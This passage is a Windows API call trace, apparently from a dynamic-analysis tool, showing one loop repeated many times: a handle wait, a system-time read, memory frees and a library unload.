[0234.653] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47a62214, dwHighDateTime=0x1d9eb0c)) [0234.683] free (_Block=0x20abc281b60) [0234.684] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.685] free (_Block=0x20abc284e70) [0234.686] free (_Block=0x20abc27cf80) [0234.686] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47a8643f, dwHighDateTime=0x1d9eb0c)) [0234.695] free (_Block=0x20abc281c40) [0234.695] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.695] free (_Block=0x20abc284e70) [0234.696] free (_Block=0x20abc27cf80) [0234.697] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.704] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47a8643f, dwHighDateTime=0x1d9eb0c)) [0234.705] free (_Block=0x20abc281ee0) [0234.705] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.706] free (_Block=0x20abc284e70) [0234.707] free (_Block=0x20abc27cb20) [0234.707] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47bb7676, dwHighDateTime=0x1d9eb0c)) [0234.820] free (_Block=0x20abc281c40) [0234.821] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.822] free (_Block=0x20abc284e70) [0234.823] free (_Block=0x20abc27cb20) [0234.824] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.840] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47bdd8b2, dwHighDateTime=0x1d9eb0c)) [0234.841] free (_Block=0x20abc282020) [0234.841] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.842] free (_Block=0x20abc284e70) [0234.843] free (_Block=0x20abc27cb20) [0234.843] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47c03a98, dwHighDateTime=0x1d9eb0c)) [0234.853] free (_Block=0x20abc281f20) [0234.853] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.853] free (_Block=0x20abc284e70) [0234.855] free (_Block=0x20abc27cb20) [0234.855] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47c03a98, dwHighDateTime=0x1d9eb0c)) [0234.865] free (_Block=0x20abc281e60) [0234.866] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.867] free (_Block=0x20abc284e70) [0234.869] free (_Block=0x20abc27cb20) [0234.869] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.973] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47d0eb35, dwHighDateTime=0x1d9eb0c)) [0234.974] free (_Block=0x20abc282060) [0234.974] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.974] free (_Block=0x20abc284e70) [0234.975] free (_Block=0x20abc27cb20) [0234.975] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47d34f22, dwHighDateTime=0x1d9eb0c)) [0234.985] free (_Block=0x20abc281c60) [0234.986] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0234.987] free (_Block=0x20abc284e70) [0234.989] free (_Block=0x20abc27cf80) [0234.989] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47d5b7ff, dwHighDateTime=0x1d9eb0c)) [0234.999] free (_Block=0x20abc281d80) [0234.999] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.000] free (_Block=0x20abc284e70) [0235.001] free (_Block=0x20abc2ab630) [0235.001] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47f7118c, dwHighDateTime=0x1d9eb0c)) [0235.213] free (_Block=0x20abc281bc0) [0235.213] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.214] free (_Block=0x20abc284e70) [0235.214] free (_Block=0x20abc27cb20) [0235.215] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47f9732d, dwHighDateTime=0x1d9eb0c)) [0235.227] free (_Block=0x20abc2819c0) [0235.227] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.228] free (_Block=0x20abc284e70) [0235.229] free (_Block=0x20abc27cf80) [0235.229] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47f9732d, dwHighDateTime=0x1d9eb0c)) [0235.237] free (_Block=0x20abc281fc0) [0235.237] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.238] free (_Block=0x20abc284e70) [0235.239] free (_Block=0x20abc27cb20) [0235.240] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x47fbd76e, dwHighDateTime=0x1d9eb0c)) [0235.248] free (_Block=0x20abc281fa0) [0235.249] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.249] free (_Block=0x20abc284e70) [0235.250] free (_Block=0x20abc27cb20) [0235.250] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x480c878c, dwHighDateTime=0x1d9eb0c)) [0235.360] free (_Block=0x20abc281f60) [0235.361] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.362] free (_Block=0x20abc284e70) [0235.363] free (_Block=0x20abc27cf80) [0235.364] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x480fbce7, dwHighDateTime=0x1d9eb0c)) [0235.378] free (_Block=0x20abc282060) [0235.379] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.379] free (_Block=0x20abc284e70) [0235.380] free (_Block=0x20abc27cb20) [0235.380] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48114a75, dwHighDateTime=0x1d9eb0c)) [0235.388] free (_Block=0x20abc281ec0) [0235.389] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.389] free (_Block=0x20abc284e70) [0235.390] free (_Block=0x20abc27cb20) [0235.390] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4813af51, dwHighDateTime=0x1d9eb0c)) [0235.400] free (_Block=0x20abc282040) [0235.400] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.400] free (_Block=0x20abc284e70) [0235.401] free (_Block=0x20abc27cb20) [0235.401] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4821fbf2, dwHighDateTime=0x1d9eb0c)) [0235.500] free (_Block=0x20abc281dc0) [0235.500] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.501] free (_Block=0x20abc284e70) [0235.502] free (_Block=0x20abc27cb20) [0235.502] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48245e65, dwHighDateTime=0x1d9eb0c)) [0235.513] free (_Block=0x20abc281f80) [0235.514] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.514] free (_Block=0x20abc284e70) [0235.515] free (_Block=0x20abc27cb20) [0235.516] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4826c125, dwHighDateTime=0x1d9eb0c)) [0235.525] free (_Block=0x20abc281f20) [0235.526] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.527] free (_Block=0x20abc284e70) [0235.527] free (_Block=0x20abc27cb20) [0235.528] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4839d42d, dwHighDateTime=0x1d9eb0c)) [0235.649] free (_Block=0x20abc281f00) [0235.650] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.650] free (_Block=0x20abc284e70) [0235.651] free (_Block=0x20abc27cb20) [0235.651] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4839d42d, dwHighDateTime=0x1d9eb0c)) [0235.662] free (_Block=0x20abc281fe0) [0235.662] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.663] free (_Block=0x20abc284e70) [0235.664] free (_Block=0x20abc27cb20) [0235.664] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x483c3b15, dwHighDateTime=0x1d9eb0c)) [0235.672] free (_Block=0x20abc281e20) [0235.672] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.673] free (_Block=0x20abc284e70) [0235.674] free (_Block=0x20abc27cb20) [0235.674] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x483e9b74, dwHighDateTime=0x1d9eb0c)) [0235.683] free (_Block=0x20abc2819a0) [0235.683] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.684] free (_Block=0x20abc284e70) [0235.685] free (_Block=0x20abc27cb20) [0235.685] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x483e9b74, dwHighDateTime=0x1d9eb0c)) [0235.693] free (_Block=0x20abc282020) [0235.693] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.694] free (_Block=0x20abc284e70) [0235.695] free (_Block=0x20abc27cb20) [0235.696] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x484f4883, dwHighDateTime=0x1d9eb0c)) [0235.790] free (_Block=0x20abc281a80) [0235.790] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.791] free (_Block=0x20abc284e70) [0235.792] free (_Block=0x20abc27cf80) [0235.792] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x484f4883, dwHighDateTime=0x1d9eb0c)) [0235.800] free (_Block=0x20abc281e40) [0235.800] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.801] free (_Block=0x20abc284e70) [0235.803] free (_Block=0x20abc27cf80) [0235.803] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48526978, dwHighDateTime=0x1d9eb0c)) [0235.811] free (_Block=0x20abc2820e0) [0235.811] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.812] free (_Block=0x20abc284e70) [0235.813] free (_Block=0x20abc27cf80) [0235.813] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48541202, dwHighDateTime=0x1d9eb0c)) [0235.822] free (_Block=0x20abc281ce0) [0235.822] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.823] free (_Block=0x20abc284e70) [0235.824] free (_Block=0x20abc27cf80) [0235.824] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48541202, dwHighDateTime=0x1d9eb0c)) [0235.834] free (_Block=0x20abc281bc0) [0235.835] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.835] free (_Block=0x20abc284e70) [0235.837] free (_Block=0x20abc27cf80) [0235.837] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4864beca, dwHighDateTime=0x1d9eb0c)) [0235.930] free (_Block=0x20abc281e60) [0235.930] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.931] free (_Block=0x20abc284e70) [0235.932] free (_Block=0x20abc27cb20) [0235.932] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.940] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4864beca, dwHighDateTime=0x1d9eb0c)) [0235.940] free (_Block=0x20abc281ec0) [0235.941] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.942] free (_Block=0x20abc284e70) [0235.943] free (_Block=0x20abc27cb20) [0235.947] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x486983a3, dwHighDateTime=0x1d9eb0c)) [0235.962] free (_Block=0x20abc281c80) [0235.963] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.964] free (_Block=0x20abc284e70) [0235.965] free (_Block=0x20abc27cb20) [0235.965] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0235.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x486983a3, dwHighDateTime=0x1d9eb0c)) [0235.972] free (_Block=0x20abc2820c0) [0235.972] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0235.973] free (_Block=0x20abc284e70) [0235.974] free (_Block=0x20abc27cb20) [0235.974] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.116] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48815a62, dwHighDateTime=0x1d9eb0c)) [0236.117] free (_Block=0x20abc281b20) [0236.118] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.118] free (_Block=0x20abc284e70) [0236.119] free (_Block=0x20abc27cb20) [0236.119] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.125] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48815a62, dwHighDateTime=0x1d9eb0c)) [0236.126] free (_Block=0x20abc281b80) [0236.127] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.127] free (_Block=0x20abc284e70) [0236.128] free (_Block=0x20abc27cb20) [0236.128] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.138] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4883c2f9, dwHighDateTime=0x1d9eb0c)) [0236.139] free (_Block=0x20abc282000) [0236.139] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.140] free (_Block=0x20abc284e70) [0236.141] free (_Block=0x20abc27cb20) [0236.141] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x488ae364, dwHighDateTime=0x1d9eb0c)) [0236.186] free (_Block=0x20abc281a20) [0236.186] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.187] free (_Block=0x20abc284e70) [0236.188] free (_Block=0x20abc27cb20) [0236.188] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x488ae364, dwHighDateTime=0x1d9eb0c)) [0236.196] free (_Block=0x20abc282080) [0236.196] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.197] free (_Block=0x20abc284e70) [0236.197] free (_Block=0x20abc27cb20) [0236.197] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48a9e1b5, dwHighDateTime=0x1d9eb0c)) [0236.383] free (_Block=0x20abc281a40) [0236.383] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.384] free (_Block=0x20abc284e70) [0236.384] free (_Block=0x20abc27cb20) [0236.385] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48a9e1b5, dwHighDateTime=0x1d9eb0c)) [0236.392] free (_Block=0x20abc281b60) [0236.392] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.393] free (_Block=0x20abc284e70) [0236.394] free (_Block=0x20abc27cb20) [0236.394] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48ac4541, dwHighDateTime=0x1d9eb0c)) [0236.401] free (_Block=0x20abc281b60) [0236.401] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.402] free (_Block=0x20abc284e70) [0236.402] free (_Block=0x20abc27cb20) [0236.402] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48ac4541, dwHighDateTime=0x1d9eb0c)) [0236.411] free (_Block=0x20abc281be0) [0236.411] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.412] free (_Block=0x20abc284e70) [0236.413] free (_Block=0x20abc27cf80) [0236.413] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48b8302c, dwHighDateTime=0x1d9eb0c)) [0236.478] free (_Block=0x20abc281a00) [0236.478] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.478] free (_Block=0x20abc284e70) [0236.479] free (_Block=0x20abc27cb20) [0236.479] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48b8302c, dwHighDateTime=0x1d9eb0c)) [0236.485] free (_Block=0x20abc281f20) [0236.486] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.486] free (_Block=0x20abc284e70) [0236.487] free (_Block=0x20abc27cf80) [0236.487] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48ba92fd, dwHighDateTime=0x1d9eb0c)) [0236.494] free (_Block=0x20abc282060) [0236.494] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.494] free (_Block=0x20abc284e70) [0236.495] free (_Block=0x20abc27cb20) [0236.495] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48ba92fd, dwHighDateTime=0x1d9eb0c)) [0236.502] free (_Block=0x20abc281fc0) [0236.502] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.503] free (_Block=0x20abc284e70) [0236.504] free (_Block=0x20abc27cb20) [0236.504] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48bcf49b, dwHighDateTime=0x1d9eb0c)) [0236.515] free (_Block=0x20abc281fc0) [0236.515] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.515] free (_Block=0x20abc284e70) [0236.516] free (_Block=0x20abc27cb20) [0236.516] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48c67d84, dwHighDateTime=0x1d9eb0c)) [0236.577] free (_Block=0x20abc281c20) [0236.577] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.578] free (_Block=0x20abc284e70) [0236.578] free (_Block=0x20abc27cb20) [0236.579] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48c67d84, dwHighDateTime=0x1d9eb0c)) [0236.586] free (_Block=0x20abc281f20) [0236.587] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.587] free (_Block=0x20abc284e70) [0236.587] free (_Block=0x20abc27cb20) [0236.588] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48c92c26, dwHighDateTime=0x1d9eb0c)) [0236.594] free (_Block=0x20abc281f00) [0236.594] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.595] free (_Block=0x20abc284e70) [0236.596] free (_Block=0x20abc27cf80) [0236.596] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48cb4775, dwHighDateTime=0x1d9eb0c)) [0236.605] free (_Block=0x20abc282000) [0236.606] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.607] free (_Block=0x20abc284e70) [0236.607] free (_Block=0x20abc27cb20) [0236.608] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.616] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x48cda4b5, dwHighDateTime=0x1d9eb0c)) [0236.617] free (_Block=0x20abc2820c0) [0236.617] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0236.617] free (_Block=0x20abc284e70) [0236.618] free (_Block=0x20abc27cf80) [0236.618] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0236.680] GetSystemTimeAsFileTime (in: 